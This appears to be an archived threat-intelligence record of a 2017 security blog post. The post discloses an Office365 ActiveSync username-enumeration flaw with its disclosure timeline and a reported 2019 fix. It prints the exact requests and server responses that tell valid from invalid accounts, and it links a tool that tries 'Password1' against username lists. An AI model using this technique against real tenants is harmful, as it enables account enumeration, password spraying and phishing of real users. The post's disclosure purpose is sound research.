{ "id": "76ab2c5f-9b1a-41f7-b7c9-b1cbd45910d9", "created_at": "2026-04-06T00:09:09.957285Z", "updated_at": "2026-04-10T03:20:36.144618Z", "deleted_at": null, "sha1_hash": "7c4772221d0fa426acc1c2bad3836247b9306010", "title": "Office365 ActiveSync Username Enumeration", "llm_title": "", "authors": "", "file_creation_date": "0001-01-01T00:00:00Z", "file_modification_date": "0001-01-01T00:00:00Z", "file_size": 59405, "plain_text": "Office365 ActiveSync Username Enumeration\r\nPublished: 2017-07-24 · Archived: 2026-04-05 21:32:49 UTC\r\nLast updated on 8 April 2020\r\nTLDR:\r\nThere is a simple username enumeration issue in Office365’s ActiveSync, Microsoft do not consider this a\r\nvulnerability so I don’t expect they will fix it, I have written a script to exploit this which is available\r\nhere: https://bitbucket.org/grimhacker/office365userenum\r\nUPDATE: Microsoft appears to have fixed this issue around November 2019.\r\nWhat is ActiveSync?\r\nExchange ActiveSync in Microsoft Exchange Server lets Windows Mobile powered devices and other Exchange\r\nActiveSync enabled devices to access Exchange mailbox data. Compatible mobile devices can access e-mail,\r\ncalendar, contact, and task data in addition to documents stored on Windows SharePoint Services sites and\r\nWindows file shares. Information synchronized with the mobile devices is retained and can be accessed offline.\r\n[https://technet.microsoft.com/en-us/library/aa995986(v=exchg.65).aspx]\r\nWhat is username enumeration?\r\nUsername enumeration is when an attacker can determine valid users in a system.\r\nWhen the system reveals a username exists either due to misconfiguration or a design decision a username\r\nenumeration issue exists.\r\nThis is often identified in authentication interfaces, registration forms, and forgotten password functionality.\r\nThe information disclosed by the system can be used to determines a list of users which can then be used in\r\nfurther attacks such as a bruteforce – since the username is known to be correct, only the password needs to be\r\nguessed, greatly increasing the chances of successfully compromising an account.\r\nThe vulnerability\r\nDuring the assessment of a 3rd party product which utilises ActiveSync, it was noted that the there was a clear\r\nresponse difference between a valid and invalid usernames submitted in the HTTP Basic Authentication Header.\r\nFurther investigation revealed that the issue was in fact in Office365 rather than the 3rd party product which was\r\nsimply acting as a proxy. The domain for Office365’s ActiveSync service is trivial to identify if you have a mobile\r\ndevice configured to use Office365 for email (email app server settings): https://outlook.office365.com\r\nhttps://grimhacker.com/2017/07/24/office365-activesync-username-enumeration/\r\nPage 1 of 5\n\nIn order to elicit a response from ActiveSync a number of parameters and headers are required, this is described in\r\nmore detail here: http://mobilitydojo.net/2010/03/17/digging-into-the-exchange-activesync-protocol/\r\nThe username enumeration issue exists in the differing response to invalid vs valid usernames submitted in the\r\nAuthorization header. This request header value consists of the username and password concatenated with a colon\r\n(:) separator and Base64 encoded.\r\nThe request below contains the following Base64 encoded credentials in the Authorization header:\r\nvalid_user@contoso.com:Password1\r\nOPTIONS /Microsoft-Server-ActiveSync HTTP/1.1\r\nHost: outlook.office365.com\r\nConnection: close\r\nMS-ASProtocolVersion: 14.0\r\nContent-Length: 0\r\nAuthorization: Basic dmFsaWRfdXNlckBjb250b3NvLmNvbTpQYXNzd29yZDE=\r\nThis elicits the following response (“401 Unauthorized”) indicating that the username is valid but the password is\r\nnot:\r\nHTTP/1.1 401 Unauthorized\r\nContent-Length: 1293\r\nContent-Type: text/html\r\nServer: Microsoft-IIS/8.5\r\nrequest-id: ab308ea5-9a01-4a1a-8d49-b91b3503e83f\r\nX-CalculatedFETarget: LO1P123CU001.internal.outlook.com\r\nX-BackEndHttpStatus: 401\r\nWWW-Authenticate: Basic Realm=\"\",Negotiate,Basic Realm=\"\"\r\nX-FEProxyInfo: LO1P123CA0018.GBRP123.PROD.OUTLOOK.COM\r\nX-CalculatedBETarget: LO1P123MB0899.GBRP123.PROD.OUTLOOK.COM\r\nX-BackEndHttpStatus: 401\r\nX-DiagInfo: LO1P123MB0899\r\nX-BEServer: LO1P123MB0899\r\nX-FEServer: LO1P123CA0018\r\nWWW-Authenticate: Basic Realm=\"\"\r\nX-Powered-By: ASP.NET\r\nX-FEServer: VI1PR0101CA0050\r\nDate: Wed, 14 Jun 2017 14:35:14 GMT\r\nConnection: close\r\n\u003csnip\u003e\r\nThe request below contains the following Base64 encoded credentials in the Authorization header:\r\ninvalid_user@contoso.com:Password1\r\nhttps://grimhacker.com/2017/07/24/office365-activesync-username-enumeration/\r\nPage 2 of 5\n\nOPTIONS /Microsoft-Server-ActiveSync HTTP/1.1\r\nHost: outlook.office365.com\r\nConnection: close\r\nMS-ASProtocolVersion: 14.0\r\nContent-Length: 2\r\nAuthorization: Basic aW52YWxpZF91c2VyQGNvbnRvc28uY29tOlBhc3N3b3JkMQ==\r\nThis elicits the following response (“404 Not Found” and “X-CasErrorCode: UserNotFound”)indicating that the\r\nusername is invalid:\r\nHTTP/1.1 404 Not Found\r\nCache-Control: private\r\nServer: Microsoft-IIS/8.5\r\nrequest-id: 6fc1ee3a-ec99-4210-8a4c-12967a4639fc\r\nX-CasErrorCode: UserNotFound\r\nX-AspNet-Version: 4.0.30319\r\nX-Powered-By: ASP.NET\r\nX-FEServer: HE1PR05CA0220\r\nDate: Wed, 28 Jun 2017 11:23:03 GMT\r\nConnection: close\r\nContent-Length: 0\r\nBy iterating through a list of potential usernames and observing the response, it is possible to enumerate a list of\r\nvalid users which can then be targeted for further attacks. These attacks may be directly against the authentication,\r\ni.e attempting to guess the user’s password to compromise their account, or it may be as part of a social\r\nengineering attack e.g sending Phishing emails to known valid users.\r\nIt should be noted that this issues requires an authentication attempt and is therefore likely to appear in logs, and\r\nhas a risk of locking out accounts. However it is also possible that a valid username and password combination\r\nwill be identified, in which case the response is different depending on if 2FA is enabled or not.\r\nIf 2FA is enabled the response is (“403 Forbidden” with title “403 – Forbidden: Access is denied.”):\r\nHTTP/1.1 403 Forbidden\r\nCache-Control: private\r\nContent-Length: 1233\r\nContent-Type: text/html\r\nServer: Microsoft-IIS/8.5\r\nrequest-id: 4095f6fa-5151-4699-9ea1-0ddf0cfab897\r\nX-CalculatedBETarget: MM1P123MB0842.GBRP123.PROD.OUTLOOK.COM\r\nX-BackEndHttpStatus: 403\r\nSet-Cookie: \u003csnip\u003e\r\nX-MS-Credentials-Expire: 4\r\nX-MS-Credential-Service-Federated: false\r\nX-MS-Credential-Service-Url: https://portal.microsoftonline.com/ChangePassword.aspx\r\nhttps://grimhacker.com/2017/07/24/office365-activesync-username-enumeration/\r\nPage 3 of 5\n\n---\ntitle: 403 - Forbidden: Access is denied.\n---\nX-MS-BackOffDuration: L/-480\nX-AspNet-Version: 4.0.30319\nX-DiagInfo: MM1P123MB0842\nX-BEServer: MM1P123MB0842\nX-Powered-By: ASP.NET\nX-FEServer: DB6PR07CA0008\nDate: Fri, 07 Jul 2017 13:11:22 GMT\nConnection: close\nUBLIC \"-//W3C//DTD XHTML 1.0 Strict//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-stri\n\nI also checked if this issue affected Microsoft Exchange, or if it was limited to Office365. In my testing I found\r\nthat only Office365 was affected. I reported this issue to Microsoft, however they do not consider username\r\nenumeration to “meet the bar for security servicing”, so I do not expect they will fix this issue.\r\nMy continuing mission to replace myself with a small script\r\nIn order to automate exploitation of this issue I wrote a simple multi threaded python script. It is available here:\r\nhttps://bitbucket.org/grimhacker/office365userenum\r\nWhen provided a list of potential usernames (username@domain) this script will attempt to authenticate to\r\nActiveSync with the password ‘Password1’. Valid and invalid usernames are logged along with valid username\r\nand password combinations (in case you get lucky).\r\nDisclose Timeline\r\n28 June 2017, 13:30: Emailed secure@microsoft.com with a PGP encrypted PDF explaining issue with example\r\nHTTP  requests and responses.\r\n28 June 2017, 22:39: Response from Microsoft (note only relevant section of email included below)\r\n“Thank you for contacting the Microsoft Security Response Center (MSRC).  Upon investigation we have\r\ndetermined that these do not meet the bar for security servicing.  In general, username enumeration does not meet\r\nthe bar as there are many ways to do this and on its own it does not allow an attacker access or control in any way,\r\nas the attacker would still need to bypass login.”\r\n29 June 2017, 09:54: Emailed Microsoft stating intention to disclose in a blog post unless they had any serious\r\nobjections.\r\n24 July 2017: Details and tool disclosed to the public.\r\nUpdate: ~November 2019: Microsoft silently fix the vulnerability.\r\nAlthough I do not agree with Microsoft’s determination that username enumeration is not a security vulnerability,\r\nI would like to thank them again for their speedy investigation and response to my report.\r\nSource: https://grimhacker.com/2017/07/24/office365-activesync-username-enumeration/\r\nhttps://grimhacker.com/2017/07/24/office365-activesync-username-enumeration/\r\nPage 5 of 5", "extraction_quality": 1, "language": "EN", "sources": [ "MITRE" ], "references": [ "https://grimhacker.com/2017/07/24/office365-activesync-username-enumeration/" ], "report_names": [ "office365-activesync-username-enumeration" ], "threat_actors": [], "ts_created_at": 1775434149, "ts_updated_at": 1775791236, "ts_creation_date": 0, "ts_modification_date": 0, "files": { "pdf": "https://archive.orkl.eu/7c4772221d0fa426acc1c2bad3836247b9306010.pdf", "text": "https://archive.orkl.eu/7c4772221d0fa426acc1c2bad3836247b9306010.txt", "img": "https://archive.orkl.eu/7c4772221d0fa426acc1c2bad3836247b9306010.jpg" } }